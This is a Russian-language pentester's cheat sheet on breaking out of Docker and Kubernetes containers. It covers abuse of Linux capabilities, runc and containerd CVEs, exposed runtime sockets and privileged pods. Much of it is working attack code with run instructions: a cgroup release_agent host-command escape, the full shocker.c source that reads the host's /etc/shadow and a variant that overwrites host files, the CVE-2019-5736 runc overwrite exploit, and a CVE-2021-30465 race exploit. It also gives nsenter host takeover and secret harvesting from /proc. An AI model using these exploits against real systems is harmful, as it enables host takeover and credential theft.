chroot(2)
По идее может помочь при chroot, но реальных примеров не нашел.
Может помочь утилита https://github.com/earthquake/chw00t/
CAP_SYS_ADMIN
Эта capability позволяет получить максимальные права. В своем роде alias на другие.
Позволяет зарегистрировать usermode-приложение которое запустится в контексте ядра.
Cм. CAP_SYS_MODULE capability.
Также в случае read-only файловой системой, позволяет примонтировать файловую систему с возможностью записи командой:
mount -o rw,remount /hostlogs/
Второй вариант - использовать release_agent feature:
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp
# если ошибка, то выполните эту команду
# mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo "#!/bin/sh" > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output
CAP_SYS_PTRACE + host pid
Эксплуатация возможна только, если есть параметр --pid=host при запуске контейнера (позволяет работать с хостовыми процессами).
Тестовая инфраструктура:
sudo docker run --cap-add CAP_SYS_PTRACE --pid=host -it ubuntu /bin/bash
apt update
apt-get install libcap2-bin gdb
capsh --print
Далее по инструкции тут https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc
Кратко: 1. Ищем нужный хостовой процесс (скорее всего рутовый)
2. Запускаем gdb -p PID
3. Встраиваем инструкции (шеллкод)
4. Запускаем инструкции
CAP_SYS_MODULE
Позволяет модифицировать ядро.
Тестовая инфраструктура:
sudo docker run --cap-add CAP_SYS_MODULE -it ubuntu /bin/bash
apt update
apt-get install libcap2-bin gdb
capsh --print
Доступ к системным вызовам:
init_module(2)
finit_module(2)
delete_module(2)
Инструкция по написанию модуля ядра https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd
CAP_DAC_READ_SEARCH
Позволяет прочитать содержимое файлов хостовой системы.
Тестовая инфраструктура:
sudo docker run --cap-add DAC_READ_SEARCH -it ubuntu /bin/bash
apt update
apt-get install libcap2-bin gdb
capsh --print
Инструкция по эксплуатации https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities#cap_dac_read_search
Комментарии: из интересного стоит заметить, что доступ мы получим ТОЛЬКО к диску, с которого был проброшен файл в контейнер. Например, у нас мог быть подключен файл /etc/resolv.conf с диска /dev/sda5. А диск sda5 в свою очередь на хостовой системе подключен к директории /var/. Поэтому, мы можем воспользоваться файлом /etc/resolv.conf для чтения всех дочерних файлов /var/. Причем путь до них нужно указывать относительный (./log/user.log или log/user.log например).
Чтение хостового файла
cd /tmp
apt update
apt install gcc wget nano
wget http://stealth.openwall.net/xSports/shocker.c
# Получаете список mount и ищите файлы, которы примонтированы из хостовой системы. Как правило это .dockerinit, /etc/resolv.conf, /etc/hosts, /etc/hostname .
mount
# заменяете в файле shocker.c путь .dockerinit на найденный вами путь
# и заменяем /etc/shadow на файл который хотите прочитать
nano shocker.c
# компиляция
gcc shocker.c
# чтение файла
./a.out
Содержимое файла shocker.c:
/* shocker: docker PoC VMM-container breakout (C) 2014 Sebastian Krahmer
*
* Demonstrates that any given docker image someone is asking
* you to run in your docker setup can access ANY file on your host,
* e.g. dumping hosts /etc/shadow or other sensitive info, compromising
* security of the host and any other docker VM's on it.
*
* docker using container based VMM: Sebarate pid and net namespace,
* stripped caps and RO bind mounts into container's /. However
* as its only a bind-mount the fs struct from the task is shared
* with the host which allows to open files by file handles
* (open_by_handle_at()). As we thankfully have dac_override and
* dac_read_search we can do this. The handle is usually a 64bit
* string with 32bit inodenumber inside (tested with ext4).
* Inode of / is always 2, so we have a starting point to walk
* the FS path and brute force the remaining 32bit until we find the
* desired file (It's probably easier, depending on the fhandle export
* function used for the FS in question: it could be a parent inode# or
* the inode generation which can be obtained via an ioctl).
* [In practise the remaining 32bit are all 0 :]
*
* tested with docker 0.11 busybox demo image on a 3.11 kernel:
*
* docker run -i busybox sh
*
* seems to run any program inside VMM with UID 0 (some caps stripped); if
* user argument is given, the provided docker image still
* could contain +s binaries, just as demo busybox image does.
*
* PS: You should also seccomp kexec() syscall :)
* PPS: Might affect other container based compartments too
*
* $ cc -Wall -std=c99 -O2 shocker.c -static
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char *msg)
{
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main()
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");
memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");
fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf);
close(fd2); close(fd1);
return 0;
}
CAP_DAC_OVERRIDE
Позволяет прочитать содержимое файлов хостовой системы.
Важно! Эксплуатация возможна ТОЛЬКО если есть CAP_DAC_READ_SEARCH (предыдущий пункт).
Тестовая инфраструктура:
sudo docker run --cap-add DAC_OVERRIDE --cap-add CAP_DAC_READ_SEARCH -it ubuntu /bin/bash
apt update
apt-get install libcap2-bin gdb
capsh --print
Запись хостового файла
Инструкция альтернативная DAC_READ_SEARCH, но запускать надо так ./a.out <путь_хостового_файла> <путь_докер_файла>
Аналогично DAC_READ_SEARCH - перезаписывать файлы можно только у тех дисков, файлы которых проброшены в конейнер. Причем путь при запуске должен быть относительным.
Например: файл /etc/resolv.conf примонтирован с диска sda5. sda5 примонтирован в хостовой системе как /var/. Значит мы можем перезаписать любые файлы в /var/ хоста командой, например, ./a.out /log/user.log /etc/passwd.
Хостовой файл будет перезаписан докер-файлом.
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char * msg) {
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
h -> handle_type);
for (int i = 0; i < h -> handle_bytes; ++i) {
fprintf(stderr, "0x%02x", h -> f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "\n");
if (i < h -> handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR * dir = NULL;
struct dirent * de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
oh -> handle_type = 1;
oh -> handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de -> d_name);
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
ino = de -> d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, & ino, sizeof(ino));
memcpy(outh.f_handle + 4, & i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle( & outh);
return find_handle(bfd, path, & outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc, char * argv[]) {
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {
0x02,
0,
0,
0,
0,
0,
0,
0
}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle( & h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
FILE * fptr;
ssize_t read;
fptr = fopen(argv[2], "r");
while ((read = getline( & line, & len, fptr)) != -1) {
write(fd2, line, read);
}
printf("Success!!\n");
close(fd2);
close(fd1);
return 0;
}
CAP_SYS_RAWIO
Доступ к следующим ресурсам:
/dev/mem
/dev/kmem
/proc/kcore
Редактирование параметра mmap_min_addr
А также доступ к системным вызовам:
ioperm(2)
iopl(2)
FIBMAP ioctl(2)
И также доступ к различным дисковым командам.
CAP_SYSLOG
Позволяет использовать syslog(2) syscall и просматривать адреса ядра в /proc (если включен /proc/sys/kernel/kptr_restrict)
Также возможно смотреть dmesg вывод.
CAP_NET_RAW
Возможность отправлять низкоуровневые пакеты.
Скорее всего применимо только для MITM-атак, в следствие которых возможно повышение привилегий на других серверах.
Требуется проброшенный интерфейс хостовой машины, иначе атаки придется проводить на NAT докер контейнеров.
CAP_NET_ADMIN
Аналогично CAP_NET_RAW
Дает возможность изменять следующие пункты:
- network namespaces' firewall
- routing tables
- socket permissions
- network interface configuration
- другие настройки
Есть старые CVE, позволяющие повысить привилегии. Примеры: CVE-2011-1019, CVE-2010-4655, CVE-2013-4514
CVE
Общий список CVE - https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list
Runc exploit (CVE-2019-5736)
Уязвимые версии: <=1.0-rc6
Техника перезаписывает /bin/sh хостовой системы, поэтому любой кто запустит docker exec, стриггерит нашу полезную нагрузку.
Ссылка на эксплоит https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go :
package main
// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
"flag"
)
var shellCmd string
func init() {
flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
flag.Parse()
}
func main() {
// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n" + shellCmd
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
// We will use the pid to get a file handle for runc on the host.
var handleFd = -1
for handleFd == -1 {
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
// Now that we have the file handle, lets write to the runc binary and overwrite it
// It will maintain it's executable flag
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
fmt.Println("[+] The command executed is" + payload)
writeHandle.Write([]byte(payload))
return
}
}
}
Команда для сборки:
[+] Overwritten /bin/sh successfully
После запуска эксплоита ждите надпись
go build main.go
После появления надписи нужно чтобы на хостовой системе запустили следующую команду которая стриггерит вашу полезную нагрузку:
docker exec -it <container-name> /bin/sh
Runc exploit (CVE-2021-30465)
Уязвимые версии: <=1.0.0-rc94
Уязвимость позволяет примонтировать файловую систему, которая используя симлинки примонтируется за пределы rootfs.
http://blog.champtar.fr/runc-symlink-CVE-2021-30465/
Лучше подробнее почитать по ссылке тк у контейнеров должна быть очень специфичная конфигурация.
1. Создаем симлинк
ln -s / /test2/test2
2. Собираем эксплоит ( http://blog.champtar.fr/runc-symlink-CVE-2021-30465/ )
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/syscall.h>
int main(int argc, char *argv[]) {
if (argc != 4) {
fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]);
exit(EXIT_FAILURE);
}
char *name1 = argv[1];
char *name2 = argv[2];
char *linkdest = argv[3];
int dirfd = open(".", O_DIRECTORY|O_CLOEXEC);
if (dirfd < 0) {
perror("Error open CWD");
exit(EXIT_FAILURE);
}
if (mkdir(name1, 0755) < 0) {
perror("mkdir failed");
//do not exit
}
if (symlink(linkdest, name2) < 0) {
perror("symlink failed");
//do not exit
}
while (1)
{
renameat2(dirfd, name1, dirfd, name2, RENAME_EXCHANGE);
}
}
и компилируем
gcc race.c -O3 -o race
3. В цикле запускаем эксплоит
seq 1 4 | xargs -n1 -P4 -I{} ./race mnt{} mnt-tmp{} /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
4. Во втором шелле запустите в цикле обновление контейнера
for c in {2..20}; do
kubectl set image pod attack c$c=ubuntu:latest
done
5. Проверьте результат (в /test1/zzz будет смонтирован корень хоста)
for c in {2..20}; do
echo ~~ Container c$c ~~
kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz
done
Runc exploit (CVE-2019-19921)
Уязвимые версии: <1.0.0-rc10
https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html
Containerd exploit (CVE-2019-41103)
Уязвимые версии: <1.4.11, < 1.5.7
Эксплоита не вижу, но описание тут https://github.com/containerd/containerd/security/advisories/GHSA-c2h3-6mxw-7mvq
Sockets
Docker Sockets
Суть в том, что при некорректной настройке docker socket может быть доступен из контейнера.
Это позволяет выполнять стандартные docker команды на хостовой системе.
find / -name docker.sock 2>/dev/null
# Как правило будет /run/docker.sock
Если docker.sock будет лежать по адресу /var/run/docker.sock то можно использовать стандартную команду docker.
Иначе потребуется использовать команду
docker -H unix:///path/to/docker.sock ...
Другой вариант - через http запросы:
curl -s --unix-socket /var/run/docker.sock http:/containers/json
или через TCP-socket
curl -s http://<host>:<port>/containers/json
Другие команды по работе с docker socket можно найти тут https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket
rktlet socket
unix:///var/run/rktlet.sock
frakti socket
unix:///var/run/frakti.sock
cri-o socket
unix:///var/run/crio/crio.sock
containerd socket
unix:///run/containerd/containerd.sock
dockershim socket
unix:///var/run/dockershim.sock
Privileged container
Примонтированные директории
В зависимости от того, какая директория примонтирована, можно работать с файловой системой хоста.
Зависит от фантазии хакера. Может быть доступ например к /etc/ или к /root/.
hostPID
Позволяет получить доступ к процессам директории /proc/
Что там может быть интересного:
0. Дает возможность просмотреть какие вообще процессы запущены на хостовой системе.
1. Файловые дескрипторы открытых файлов - чекать все /proc/*/fd файлы, можно их прочитать
2. Секреты в env - /proc/*/environ
3. Убивать процессы и вызывать DoS
4. Под вопросом - читать память процессов например sshd и сниффать пароли (например утилитой 3snake).
privileged
Частный случай, когда контейнер является привилегированным.
Тогда достаточно заюзать следующую команду и перейти в рута хоста:
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
hostNetwork
Позволяет взаимодействовать с сетью хоста.
Например, прослушивать трафик или MITM-атаки проводить.
Для этого достаточно юзать например tcpdump -i eth0
Примеры атак:
- https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/
- https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/
Общие вектора:
1. Сниффать трафик
2. Доступ к сервисам на localhost
3. Обход политик network (kubernetes).
hostIPC
Inter-Process Communication Mechanisms
Позволяет работать с каналами передачи между процессами.
Примеров мало, но советуют следующее:
1. Проверить /dev/shm/ на наличие общих ресурсов памяти по которым идет общение
2. Проверить IPC-facilities используя команду "ipcs -a"
Ссылки
Лабы
badPods - лаборатория уязвимых контейнеров
Статьи